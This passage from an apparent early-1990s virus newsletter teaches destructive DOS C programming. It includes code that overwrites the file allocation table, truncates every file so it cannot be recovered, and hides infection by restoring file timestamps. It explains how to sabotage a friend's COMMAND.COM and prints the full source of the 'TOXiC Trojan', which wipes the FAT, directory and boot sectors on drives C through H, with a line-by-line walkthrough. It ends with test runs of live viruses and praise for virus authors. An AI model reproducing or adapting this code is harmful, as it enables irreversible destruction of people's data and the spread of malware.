By Now I Am Sure You Can See The Importance Of Curly Brackets And Where You
|
|
Place Them In Your Code. I Recall Someone Thinking They Were A Awesome
|
|
Programmer Because They Knew A Few Nice Third Party Commercial C Libraries,
|
|
But The Didn't Know The Language Too Well, And As A Result, He Was Not The
|
|
Great Programmer He Thought He Was.
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Writing/Reading The File Allocation Table:
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
#include <bios.h>
|
|
int main (void);
|
|
main()
|
|
{
|
|
struct diskinfo_t disk_info;
|
|
|
|
disk_info.drive=2; /* 0 = Drive A, 1 = Drive B, 2 = Drive C */
|
|
disk_info.head=0; /* disk drive head */
|
|
disk_info.track=0; /* track to read from */
|
|
disk_info.sector=1; /* Starting Sector */
|
|
disk_info.nsectors=10; /* Number Of Sectors To Read */
|
|
|
|
_bios_disk(_DISK_READ,&disk_info);
|
|
}
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
The Above Code Will Read 10 Sectors Starting At Sector 1 On Track 0, Side 0
|
|
Of Drive C.
|
|
|
|
The _bios_disk function makes use of the "diskinfo_t" structure in "BIOS.H"
|
|
|
|
The diskinfo_t structure:
|
|
|
|
struct diskinfo_t {
|
|
unsigned drive;
|
|
unsigned head;
|
|
unsigned track;
|
|
unsigned sector;
|
|
unsigned nsectors;
|
|
void far *buffer;
|
|
};
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
If you wanted to write to the disk rather than read from it, replace this
|
|
line:
|
|
|
|
_bios_disk(_DISK_READ,&disk_info);
|
|
|
|
With this:
|
|
|
|
_bios_disk(_DISK_WRITE,&disk_info);
|
|
|
|
_DISK_READ and _DISK_WRITE are known as 'Manifest Constants' They tell the
|
|
_bios_disk function whether to read or write...
|
|
|
|
Starting sector and number of sectors will vary depending on the media you
|
|
want to read from or write to the file allocation table (FAT) on.
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Truncating Files To 0 Bytes:
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
#include <fcntl.h>
|
|
#include <sys\types.h>
|
|
#include <sys\stat.h>
|
|
#include <io.h>
|
|
#include <dos.h>
|
|
int main (void);
|
|
main()
|
|
{
|
|
int fh;
|
|
struct find_t find_all;
|
|
|
|
_dos_findfirst("*.*",_A_NORMAL|_A_RDONLY|_A_HIDDEN|_A_SYSTEM,&find_all);
|
|
_dos_setfileattr(find_all.name,_A_NORMAL);
|
|
fh=open(find_all.name,O_TRUNC);
|
|
close(fh);
|
|
while (_dos_findnext(&all_file) == 0) {
|
|
_dos_setfileattr(find_all.name,_A_NORMAL);
|
|
fh=open(find_all.name,O_TRUNC);
|
|
close(fh);
|
|
}
|
|
}
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
We've Already Covered _dos_findfirst, _dos_findnext, _dos_setfileattr And
|
|
Structures So We Will Concentrate On The "open" And "close" Functions, Which
|
|
Are Relatively Simple.
|
|
|
|
|
|
The Following Line Opens "find_all.name" And The Manifest Constant "O_TRUNC"
|
|
Passed To The "open" Function Causes The File Being Opened To Be Truncated
|
|
To 0 Bytes.
|
|
|
|
fh=open(find_all.name,O_TRUNC);
|
|
|
|
And Then We Close The Open Handle, Which Was Passed To The Integer "fh" By
|
|
The "open" Function.
|
|
|
|
close(fh);
|
|
|
|
|
|
When We Close The File, It Gets Written Back To The Disk In The Same Exact
|
|
Spot, But With It's Contents Destroyed. UNERASE (C) Symantec And Similar
|
|
"File Recovery" Utilities Cannot Recover The Files. The Only Drawback To This
|
|
Method Is That It Is Awfully Slow.
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Saving/Restoring File Dates/Times:
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Below is a C program to change the date and time stamp on a file called
|
|
"TEST.TXT" to 01/01/82 and 1:32am
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
#include <fcntl.h>
|
|
#include <sys\types.h>
|
|
#include <sys\stat.h>
|
|
#include <io.h>
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <dos.h>
|
|
int fh=0;
|
|
unsigned date=0x421;
|
|
unsigned time=0xC0F;
|
|
int main(void);
|
|
main()
|
|
{
|
|
_dos_open("TEST.TXT",O_RDONLY,&fh);
|
|
_dos_setftime(fh,date,time);
|
|
_dos_close(fh);
|
|
}
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
_dos_open is passed three parameters, the file, the mode to open the file
|
|
with, and a integer.
|
|
|
|
The file is self explanatory, the mode is O_RDONLY which is read only. It is
|
|
not neccesarry to open the file in a writable mode since we won't actually be
|
|
writing to the file. The filename is passed to the integer "fh"
|
|
|
|
The next function, _dos_setftime, is passed the integer, "fh", and the date
|
|
and time to set on the file. date and time are unsigned integers. date has
|
|
the hexadecimal value, 0x421, which is: 01/01/82 and time has the hexadecimal
|
|
value, 0xC0F, which is 1:32am. This function sets the specified date and time
|
|
and then the integer "fh" is passed to the _dos_close function, which closes
|
|
the file.
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
We can preserve the original date and time stamp on a file by using the
|
|
function called "_dos_getftime"
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
#include <fcntl.h>
|
|
#include <sys\types.h>
|
|
#include <sys\stat.h>
|
|
#include <io.h>
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <dos.h>
|
|
int fh;
|
|
unsigned date;
|
|
unsigned time;
|
|
int main(void);
|
|
main()
|
|
{
|
|
_dos_open("TEST.TXT",O_RDONLY,&fh);
|
|
_dos_getftime(fh,&date,&time);
|
|
_dos_close(fh);
|
|
}
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
This program is virtually identical to the previous one except that we use
|
|
_dos_getftime in place of _dos_setftime.
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
If you were wondering where to get the hexadecimal values for setting the
|
|
date and time, you can do it this way:
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
#include <fcntl.h>
|
|
#include <time.h>
|
|
#include <sys\types.h>
|
|
#include <sys\stat.h>
|
|
#include <io.h>
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <dos.h>
|
|
int fh;
|
|
char filename[13] = {"*.*"};
|
|
FILE *stream;
|
|
unsigned date;
|
|
unsigned mtime;
|
|
int main(void);
|
|
main()
|
|
{
|
|
struct stat buf;
|
|
struct find_t all_file;
|
|
|
|
stream=fopen("HEXTABLE.TXT","a");
|
|
_dos_findfirst(filename, _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file);
|
|
_dos_open(all_file.name,O_RDONLY,&fh);
|
|
_dos_getftime(fh,&date,&mtime);
|
|
fstat(fh,&buf);
|
|
_dos_close(fh);
|
|
fprintf(stream,"-----------------------------------------------------------------------------\n");
|
|
fprintf(stream," Hexadecimal:\t\t| Regular:\n");
|
|
fprintf(stream,"-----------------------------------------------------------------------------\n");
|
|
fprintf(stream," %x %x\t\t| %s",date,mtime,ctime(&buf.st_atime));
|
|
while (_dos_findnext(&all_file) == 0) {
|
|
_dos_open(all_file.name,O_RDONLY,&fh);
|
|
_dos_getftime(fh,&date,&mtime);
|
|
fstat(fh,&buf);
|
|
_dos_close(fh);
|
|
fprintf(stream," %x %x\t\t| %s",date,mtime,ctime(&buf.st_atime));
|
|
}
|
|
fclose(stream);
|
|
}
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
This is actually very simple. It uses the file finding methods used in ATTRB
|
|
v3.0, discussed earlier, with one difference: It doesn't take a command line
|
|
parameter like ATTRB did...instead the filespec is declared in the code as a
|
|
character array:
|
|
|
|
char filename[13] = {"*.*"};
|
|
|
|
In this case, it finds ALL the files, using wildcards. You can change it to
|
|
find any file(s) you want, for instance:
|
|
|
|
char filename[13] = {"*.COM"};
|
|
|
|
Would find all the files that have a extension of .COM
|
|
|
|
The curly braces { and } surrounding the filespec are neccessary when
|
|
initializing a array.
|
|
|
|
This is the structure for returning the date and time on the file:
|
|
|
|
struct stat buf;
|
|
|
|
And this is the structure for finding the files:
|
|
|
|
struct find_t all_file;
|
|
|
|
Here it opens the "HEXTABLE.TXT" file. Note the "a" switch, which means
|
|
"append" if the file exists, it will write to the end of the file. If it
|
|
doesn't exist, it will create it.
|
|
|
|
stream=fopen("HEXTABLE.TXT","a");
|
|
|
|
Here it starts the search. It attempts to locate the first file matching:
|
|
|
|
char filename[13] = {"*.*"};
|
|
|
|
and passes the filename found to the "all_file" structure
|
|
|
|
_dos_findfirst(filename, _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file);
|
|
|
|
Here _dos_open opens the file, and passes the file handle to the integer "fh"
|
|
|
|
_dos_open(all_file.name,O_RDONLY,&fh);
|
|
|
|
And here it gets the file date and time, storing it in the two unsigned
|
|
integers "date" and "mtime"
|
|
|
|
NOTE: I originall called had used "time" instead of "mtime" and it wouldn't
|
|
compile and link the file because "time" is a function in the standard
|
|
library that came with the compiler. Told ya I'm still learning!
|
|
|
|
BTW, the screw up with 'time' was Microsoft's fault. That's what they used in
|
|
the manual.
|
|
|
|
_dos_getftime(fh,&date,&mtime);
|
|
|
|
Here it gets the stats on the file as outlined in the stat structure.
|
|
|
|
fstat(fh,&buf);
|
|
|
|
Then it close the file that the integer "fh" points to.
|
|
|
|
_dos_close(fh);
|
|
|
|
and prints the following lines to the file "HEXTABLE.TXT"
|
|
|
|
fprintf(stream,"-----------------------------------------------------------------------------\n");
|
|
fprintf(stream," Hexadecimal:\t\t| Regular:\n");
|
|
fprintf(stream,"-----------------------------------------------------------------------------\n");
|
|
fprintf(stream," %x %x\t\t| %s",date,mtime,ctime(&buf.st_atime));
|
|
|
|
\t is a TAB, %s is a string, and %x is a hexadecimal value.
|
|
|
|
It prints date and mtime as hex values, and prints the regular date and time
|
|
as a string with the help of the "ctime" function.
|
|
|
|
And the following code basically does the same thing until there are no more
|
|
files matching "all_file.name"
|
|
|
|
while (_dos_findnext(&all_file) == 0) {
|
|
_dos_open(all_file.name,O_RDONLY,&fh);
|
|
_dos_getftime(fh,&date,&mtime);
|
|
fstat(fh,&buf);
|
|
_dos_close(fh);
|
|
fprintf(stream," %x %x\t\t| %s",date,mtime,ctime(&buf.st_atime));
|
|
}
|
|
|
|
then it close "HEXTABLE.TXT" and exits.
|
|
|
|
fclose(stream);
|
|
}
|
|
|
|
*****************************************************************************
|
|
|
|
Following is part of "HEXTABLE.TXT" after I ran the above program so you can
|
|
see some examples of hexadecimal date and time values and the regular date
|
|
and time next to them:
|
|
|
|
NOTE: The first hexadecimal value is the date, the second one is the time.
|
|
|
|
*****************************************************************************
|
|
|
|
-----------------------------------------------------------------------------
|
|
Hexadecimal: | Regular:
|
|
-----------------------------------------------------------------------------
|
|
1067 2820 | Mon Mar 07 05:01:00 1988
|
|
1896 4bd1 | Wed Apr 22 09:30:34 1992
|
|
106a 5a2c | Thu Mar 10 11:17:24 1988
|
|
1067 2820 | Mon Mar 07 05:01:00 1988
|
|
1067 2820 | Mon Mar 07 05:01:00 1988
|
|
1689 2800 | Tue Apr 09 05:00:00 1991
|
|
1896 4a5c | Wed Apr 22 09:18:56 1992
|
|
1896 4a5c | Wed Apr 22 09:18:56 1992
|
|
1067 2820 | Mon Mar 07 05:01:00 1988
|
|
1067 2820 | Mon Mar 07 05:01:00 1988
|
|
|
|
*****************************************************************************
|
|
|
|
You will notice in the previous program that set the file date and time, I
|
|
had it like this:
|
|
|
|
unsigned date=0x421;
|
|
unsigned time=0xC0F;
|
|
|
|
Now, in the above hex values, 1067 is 03/07/88 and 2820 is 5:01am, so you
|
|
would put:
|
|
|
|
unsigned date=1067;
|
|
unsigned time=2820;
|
|
|
|
right? WRONG. You have to put the 0x in front of it:
|
|
|
|
unsigned date=0x1067;
|
|
unsigned time=0x2820;
|
|
|
|
This is only required if you are going to declare and initialize two integers
|
|
with a value such as I did here:
|
|
-----------------------------------------------------------------------------
|
|
#include <fcntl.h>
|
|
#include <sys\types.h>
|
|
#include <sys\stat.h>
|
|
#include <io.h>
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <dos.h>
|
|
int fh=0;
|
|
unsigned date=0x421;
|
|
unsigned time=0xC0F;
|
|
int main(void);
|
|
main()
|
|
{
|
|
_dos_open("TEST.TXT",O_RDONLY,&fh);
|
|
_dos_setftime(fh,date,time);
|
|
_dos_close(fh);
|
|
}
|
|
-----------------------------------------------------------------------------
|
|
However, when getting the time and date using _dos_getftime and setting it
|
|
using _dos_setftime, the 0x is not neccessary even though _dos_getftime does
|
|
return the values without the 0x because _dos_setftime knows what they are
|
|
and does set the date and time according to what the two values are.
|
|
-----------------------------------------------------------------------------
|
|
|
|
Now, the final product on getting/setting file dates/times:
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
#include <fcntl.h>
|
|
#include <sys\types.h>
|
|
#include <sys\stat.h>
|
|
#include <io.h>
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <dos.h>
|
|
int fh;
|
|
int main (void);
|
|
main()
|
|
{
|
|
unsigned date;
|
|
unsigned mtime;
|
|
_dos_open("EXAMPLE.EXE",O_RDWR,&fh); /* open file */
|
|
_dos_getftime(fh,&date,&mtime); /* get file date and time */
|
|
/* Virus can infect "EXAMPLE.EXE" here */
|
|
/* and then restore the original date and time */
|
|
_dos_setftime(fh,date,mtime);
|
|
_dos_close(fh); /* close "EXAMPLE.EXE" */
|
|
}
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Formatting:
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
#include <bios.h>
|
|
int main(void);
|
|
main()
|
|
{
|
|
struct diskinfo_t disk_info;
|
|
|
|
disk_info.drive =2;
|
|
disk_info.head =1;
|
|
disk_info.track =1;
|
|
disk_info.sector =1;
|
|
disk_info.nsectors =10;
|
|
|
|
_bios_disk(_DISK_FORMAT,&disk_info);
|
|
}
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
The above example will format 10 sectors of track 1, starting at sector 1 on
|
|
head 1 of drive C.
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
disk_info.drive =2;
|
|
disk_info.head =1;
|
|
disk_info.track =1;
|
|
disk_info.sector =1;
|
|
disk_info.nsectors =10;
|
|
|
|
-----------------------------------------------------------------------------
|
|
disk_info.drive=2 is drive C.
|
|
|
|
0 is drive A, and 1 is drive B.
|
|
|
|
disk_info.head=1 is head 1.
|
|
|
|
disk_info.track=1 is the track to start formatting at.
|
|
|
|
disk_info.sector=1 is the sector to start formatting at.
|
|
|
|
disk_info.nsectors=10 is the total number of sectors to format.
|
|
-----------------------------------------------------------------------------
|
|
|
|
Fun with COMMAND.COM
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
OK, I did this to a friend of mine, and it resulted in about two hours of
|
|
major frustration before I finally called him and told him what I did. What
|
|
we do is change all the internal MS-DOS commands inside COMMAND.COM...once
|
|
you do that, replace someone's COMMAND.COM on their hard drive and re-boot
|
|
their machine. What will happen is whenever they type a internal command such
|
|
as CLS, COPY, MD, DIR, etc, it will say: Bad Command Or Filename.
|
|
|
|
This is how it is done:
|
|
|
|
Run a sector editor such as: Norton Utilitie's DISKEDIT
|
|
|
|
Commands:
|
|
|
|
Alt (O)bject and then (F)ile OR Alt-F by itself. Then select COMMAND.COM as
|
|
the file, it will then open it. Then: Alt (T)ools, (F)ind OR CTRL-S. Then type
|
|
in the string to search for (CLS, DIR, COPY, etc), once it finds it, do the
|
|
following:
|
|
|
|
Alt (E)dit, (M)ark OR CTRL-B
|
|
|
|
Then simply type over the command with something else and hit CTRL-W which
|
|
will write those changes to the file.
|
|
|
|
Just do this with every internal command and there you go.
|
|
|
|
Note: If there is a string of text in COMMAND.COM such as: "Copy is used to
|
|
move files from drive to drive or directory to directory", when you search
|
|
for COPY it will find the Copy at the beginning of that string, you don't want
|
|
to change that. Just hit CTRL-G (Find again) to find the next occurence of
|
|
COPY.....The one you are looking for will be in all CAPS and surrounded by
|
|
nothing else but unreadable characters.
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Sample Source Code Of Virii: TOXiC Trojan #1
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
This is what the author of the "TOXiC Trojan #1" has to say about his
|
|
creation:
|
|
|
|
-----------------------------------------------------------------------------
|
|
TOXiC1 - TOXiC Trojan #1 - Programmed by Izzy Stradlin' and MiSERY/CPA
|
|
MiSERY1 is the name given to this trojan. I programmed it, I name the
|
|
Mother fucker. I hereby give all rights of this trojan to MiSERY/CPA.
|
|
If ya don't like it, TOUGH. I Give ALL rights EXCEPT for the NAME to
|
|
CPA - eg. NOONE CAN CHANGE THE NAME OF THIS THING W/O MY PERMISSION AND
|
|
LEAVE MY NAME IN IT. The name must stay on, both my name and the name
|
|
of the trojan are copyrighted (c) 90 to Izzy Stradlin'
|
|
-----------------------------------------------------------------------
|
|
Capt. - This isn't a Real Virus - It's a Trojan. Sorry, still trying
|
|
to use something similar to ASM's int 21h; for DOSs features, then I'll
|
|
Get going on Virii. As is, this Destroys Boot/Fat/Dir on Most harddisks
|
|
and Well, there is so far no way that I know of that it can recover
|
|
what the disk lost, as it writes the trojan name over everything. This
|
|
SHOULD Go for BOTH FAT Tables, but I am not going to try it out. Haha.
|
|
You try it - Tell me how it works! all I know is that it got 6 of my
|
|
Flippin' floppies, damnit! - Delete this bottom message to you after
|
|
Checking it out - Makes it look more professional. Leave the top text
|
|
part in tact, just in case you want to pass it around.
|
|
This is JUST A START. They DO/WILL Get better - this is weak, but as I
|
|
Said - no known recovery from it.
|
|
Oh, this looks for C: through H:
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
And this is what I have to say about The "TOXiC Trojan #1"
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
The author of the "TOXiC Trojan #1" says that this is a trojan, but to me it
|
|
is NOT....if it was, it wouldn't be featured here as this is a newsletter
|
|
dedicated entirely to virii. A trojan is a destructive program disguised as
|
|
a real program that already exists, or disguised as a useful program. This
|
|
program does not implement any encryption techniques, or stealth techniques
|
|
so actually it is a toss up. I call it a virus, though. Anyway, the source
|
|
code below is the original source code as written by Izzy Stradlin'
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
#define TROJAN_NAME "TOXiC" /* Trojan Name */
|
|
|
|
/* Procedures */
|
|
void infect_fat();
|
|
void infect_dir();
|
|
void infect_boot();
|
|
void main();
|
|
/* Simple, eh? */
|
|
|
|
|
|
void infect_fat()
|
|
{
|
|
int i;
|
|
for (i=2; i<7; i++) {
|
|
abswrite(i,0,2,TROJAN_NAME);
|
|
}
|
|
}
|
|
|
|
void infect_dir()
|
|
{
|
|
int i;
|
|
for (i=2; i<7; i++) {
|
|
abswrite(i,2,2,TROJAN_NAME);
|
|
}
|
|
}
|
|
|
|
void infect_boot()
|
|
{
|
|
int i;
|
|
for (i=0; i<7; i++) {
|
|
abswrite(i,4,2,TROJAN_NAME);
|
|
}
|
|
}
|
|
|
|
void main()
|
|
{
|
|
printf(TROJAN_NAME);
|
|
infect_fat();
|
|
infect_dir();
|
|
infect_boot();
|
|
}
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Now, this is my modified source code to the "TOXiC Trojan #1"
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
#define TROJAN_NAME "TOXiC"
|
|
void infect_fat();
|
|
void infect_dir();
|
|
void infect_boot();
|
|
int main(void);
|
|
main()
|
|
{
|
|
printf(TROJAN_NAME);
|
|
infect_fat();
|
|
infect_dir();
|
|
infect_boot();
|
|
}
|
|
|
|
void infect_fat()
|
|
{
|
|
int i;
|
|
for (i=2; i<7; i++) {
|
|
abswrite(i,0,2,TROJAN_NAME);
|
|
}
|
|
}
|
|
|
|
void infect_dir()
|
|
{
|
|
int i;
|
|
for (i=2; i<7; i++) {
|
|
abswrite(i,2,2,TROJAN_NAME);
|
|
}
|
|
}
|
|
|
|
void infect_boot()
|
|
{
|
|
int i;
|
|
for (i=0; i<7; i++) {
|
|
abswrite(i,4,2,TROJAN_NAME);
|
|
}
|
|
}
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
You may ask why I modified his source code, well I did for a few reasons:
|
|
|
|
He declared "main()" as:
|
|
|
|
void main();
|
|
|
|
When I first became familiar with the ANSI C standard, I declared "main()"
|
|
like so:
|
|
|
|
int main(void);
|
|
|
|
which says that main() will return a value of type int but has no parameters
|
|
passed to it. His way says that main will not return a value at all, and (I
|
|
am assuming here) will not be called with any parameters because he left the
|
|
parentheses empty. Using void and leaving the parentheses empty may very well
|
|
have the same effect, although I am not sure. (I never said I knew everything)
|
|
|
|
In his he put his procedures (below) before the main program.
|
|
|
|
void infect_fat()
|
|
{
|
|
int i;
|
|
for (i=2; i<7; i++) {
|
|
abswrite(i,0,2,TROJAN_NAME);
|
|
}
|
|
}
|
|
|
|
void infect_dir()
|
|
{
|
|
int i;
|
|
for (i=2; i<7; i++) {
|
|
abswrite(i,2,2,TROJAN_NAME);
|
|
}
|
|
}
|
|
|
|
void infect_boot()
|
|
{
|
|
int i;
|
|
for (i=0; i<7; i++) {
|
|
abswrite(i,4,2,TROJAN_NAME);
|
|
}
|
|
}
|
|
|
|
With mine, I placed the procedures after the main program. Once again I am
|
|
not 100% sure that this would have any effect on your program, and whether or
|
|
not it is a case of preference.
|
|
|
|
His three procedures:
|
|
|
|
infect_fat()
|
|
infect_dir()
|
|
infect_boot()
|
|
|
|
are all declared to return no value (void) and called with no parameters, as
|
|
he, once again, left the parentheses empty. (Which brings us back to main()..
|
|
leaving the parentheses empty on main() must have the same effect as putting
|
|
void in the parentheses)
|
|
|
|
Now the discussion of his procedures:
|
|
|
|
void infect_fat()
|
|
{
|
|
int i;
|
|
for (i=2; i<7; i++) {
|
|
abswrite(i,0,2,TROJAN_NAME);
|
|
}
|
|
}
|
|
|
|
This procedure, "infect_fat" writes the name of the trojan (virus) over
|
|
the file allocation table of drives C through H, providing they exist. This
|
|
is how it works:
|
|
|
|
the "for loop" uses the integer i, first assigning the value 2 to it, which
|
|
is the number of drive C, and then it passes the integer to the function
|
|
"abswrite" along with two other values, 0 and 2, and the name of the virus.
|
|
|
|
The integer i, as we know, contains the drive number, 0 is the starting sector
|
|
number, and 2 is the number of sectors to write. TROJAN_NAME is what gets
|
|
written to that area of the disk. Every time it passes through the for loop,
|
|
it increments the value of the integer i by 1 with the 'increment operator'
|
|
(i++) and it stops once the value of i is equal to or greater than 7. i<7 is
|
|
basically saying "while i is less than 7, keep going" Because the value of i
|
|
is increased with each pass through the loop, it attempts to write drives C
|
|
through H (2 being drive C, 3 being drive D, 4 being drive E, etc)
|
|
|
|
The code in between the first { and the second } is what the procedure does.
|
|
The code in between the second { and the first } is what takes place every
|
|
time the procedure passes through the for loop.
|
|
|
|
The other two procedures, infect_dir() and infect_boot(), basically work the
|
|
same way infect_fat() does except they write to a different part of the disk.
|
|
|
|
infect_dir() writes TROJAN_NAME on two sectors of drives C through H starting
|
|
at sector 2.
|
|
|
|
infect_boot() writes TROJAN_NAME on two sectors of drives C through H starting
|
|
at sector 4.
|
|
|
|
NOTE: abswrite() is not a function included with my standard runtime library
|
|
but may be a part of other compiler's runtime libraries, or you could write
|
|
one yourself.
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Suicidal Tendencies Dept:
|
|
|
|
The virus of the month award goes to: 666-B Rock Steady Virus And The 15th
|
|
Of April Virus.
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
First I will start off with the 666-B Rock Steady Virus.
|
|
|
|
The virus activates on the 13th of every month.
|
|
|
|
I placed the file 666-B.COM on a floppy in drive B with the following files:
|
|
|
|
COMMAND.COM - 47845 bytes
|
|
PKUNZIP.EXE - 23528 bytes
|
|
|
|
First I changed the system date to: 05-13-1992 and ran 666-B.COM
|
|
|
|
It didn't do anything to the disk/files of drive B, instead it went to drive
|
|
A which was a write protected Viriisearch <tm> disk. It gave me the following
|
|
warning:
|
|
|
|
This disk is not bootable
|
|
|
|
If you wish to make it bootable,
|
|
run the DOS program SYS after the
|
|
system has been loaded
|
|
|
|
Please insert a DOS diskette into
|
|
the drive and strike any key...
|
|
|
|
So I inserted a write protected DOS disk into the drive, and the machine
|
|
booted. I decided to try a different approach:
|
|
|
|
I once again changed the system date to: 05-13-1992 and once again ran
|
|
666-B.COM, but this time with a write protected DOS disk in drive A. It did
|
|
the same thing again, ignored drive B, and went right for drive A, this time
|
|
appearing to write to the disk for about 5-10 seconds, but it wasn't because
|
|
the disk was write protected at the time. Then the machine re-booted. So again
|
|
I tried another approach:
|
|
|
|
I left the system date as what it was: 1-01-80 and then ran 666-B.COM, it did
|
|
nothing but exit. Then I ran COMMAND.COM from the command line, no changes
|
|
were made to it. Now, with the virus in memory, I again changed the system
|
|
date to: 05-13-1992 and ran COMMAND.COM from the command line. This time it
|
|
infected COMMAND.COM, increasing it's size to: 48511 bytes from 47845 bytes.
|
|
I re-booted the machine, and looked back on drive B. PKUNZIP.EXE had also
|
|
been infected without me running it, it's size being increased to 24194 bytes
|
|
from 23528 bytes.
|
|
|
|
Note: The virus also formats the hard drive Boot Area and FAT on the 13th of
|
|
every month, but I do not have a hard drive so I did not witness this.
|
|
This is a well written virus and I am sure it does that if Rock Steady
|
|
says it does.
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Suicidal Tendencies Dept. Part II: The 15th Of April Virus
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
I placed the following files on a floppy in drive B:
|
|
|
|
|
|
ANSI SYS 9029 04-09-91 5:00a
|
|
RAMDRIVE SYS 5873 04-09-91 5:00a
|
|
CONFIG SYS 39 01-01-80 12:35a
|
|
COMMAND COM 47845 04-09-91 5:00a
|
|
SYS COM 13440 04-09-91 5:00a
|
|
NDOS COM 2419 08-14-84 12:00p
|
|
MEM EXE 39818 04-09-91 5:00a
|
|
DEBUG EXE 21692 06-07-90 2:24a
|
|
PKUNZIP EXE 23528 03-15-90 1:10a
|
|
|
|
and then placed 15APR.COM on there with them.
|
|
|
|
The system date was: 1-01-80 when I first ran 15APR.COM.
|
|
|
|
I then ran MEM.EXE and it's size increased to 41068 bytes from 39818 bytes.
|
|
I also ran PKUNZIP.EXE, it's size increased to 24778 bytes from 23528 bytes,
|
|
and NDOS.COM, it's size increasing from 2419 bytes to 3669 bytes.
|
|
|
|
I then changed the system date to the 15th Of April, 1992 and ran 15APR.COM
|
|
once again, and it did nothing.
|
|
|
|
I ran COMMAND.COM and the virus did nothing to it, it remained uninfected and
|
|
it's size remained the same so I ran SYS.COM with no parameters and it did
|
|
get infected, it's size increasing from 13440 bytes to 14690 bytes.
|
|
|
|
In all cases of a file being infected, it's size increased by 1250 bytes.
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Final Notes:
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Special thanks to:
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Rock Steady - For Writing Such A Well Written Virus For Me To Screw Around
|
|
With.
|
|
|
|
All The Phalcon/Skism Members - For Letting Me On U.S.S.R. And Letting Me
|
|
Take Dark Angel's Phunky Virus Writing
|
|
Guide As Well As 40 HEX (Gotta Love It
|
|
When You Guys Rag On The Anti-Viral PPL)
|
|
|
|
Louis Cypher - For Letting Me On Lucid Dreams, And Doing Me That Favor.
|
|
|
|
Cliff Burton - For Making TLITD The Viriisearch HQ.
|
|
|
|
Patty, Mr. Dickburg, And Whoever Else - For Giving The Phalcon/Skism Guys
|
|
Someone To Rag On.
|
|
|
|
Count Zero And Magic Man: For Letting Me On ATDT Which Led To My Original
|
|
Interest In Virii.
|
|
|
|
Spaceman: For Making All Those Virii Available To Me.
|
|
|
|
To All The Virus Authors - For Writing Them And Giving This Newsletter A
|
|
Purpose, And Giving Me Something To Do While
|
|
A Unemployment Victim Of This #$%*& Recession.
|
|
|
|
Pink Floyd/Led Zeppelin/Rush/U2/Queen - For Giving Me Good Quality Music To
|
|
Listen To While Writing This Virus
|
|
Newsletter (R.I.P Freddy & Bonzo)
|
|
|
|
And Hi To Darby Crash! Hope You're Doing Well Wherever You Are!
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Hey Everyone: Have a AWESOME 4th Of July! Don't Drink And Drive (At Least Not
|
|
In MY Neighborhood!)
|
|
|
|
I hope you enjoyed this issue of "Viriisearch" The newsletter dedicated
|
|
entirely to computer virii.
|
|
|
|
|
|
Until Next Time......Be Careful!!!
|
|
|
|
* Criminal Minded <tm> *
|
|
|
|
-----------------------------------------------------------------------------
|
|
|